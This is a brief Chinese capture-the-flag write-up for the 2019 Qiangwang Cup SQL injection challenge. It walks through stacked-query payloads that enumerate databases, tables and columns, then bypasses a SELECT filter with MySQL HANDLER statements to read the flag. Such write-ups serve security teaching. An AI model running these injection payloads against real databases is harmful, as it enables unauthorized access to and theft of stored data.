强网杯2019 随便注

题目1.......判断闭合符## 测试 1 成功注入2.......判断列 order by测试1 order by 3-- 报错测试1 order by 2-- 正常 有两列3测试回显位置 1select 1,2-- 发现这些关键字被过滤了4堆叠注入原理是通过号注入多条sql语句先暴库1;show databases;-- 无发现暴表1;show tables;-- 发现两个表一个一个测来暴字段5先查看数字表 因为全是数字所以要用 反引号引起来1;show columns from 1919810931114514 -- 发现里面有flag 但是select被过滤可以用md5编码来构造payload来绕过过滤我不会构造6用handler语句攻击链用于绕过常规sql注入知识点1;handler flaghere open;handler flaghere read first; handler flaghere close;-- 1;终止原SQL查询开启新语句。handler flaghere open以底层文件方式打开名为 FlagHere 的表。handler flaghere read first读取表的第一行数据。handler flaghere close关闭表句柄。-- 注释掉后续语句避免语法错误。.....来实操一下用下面的语句 用已知道的字段1919810931114514直接套用1;handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;-- 拿到flagflag{dec06a52-3e8e-4376-bf9a-2dcf706028b9}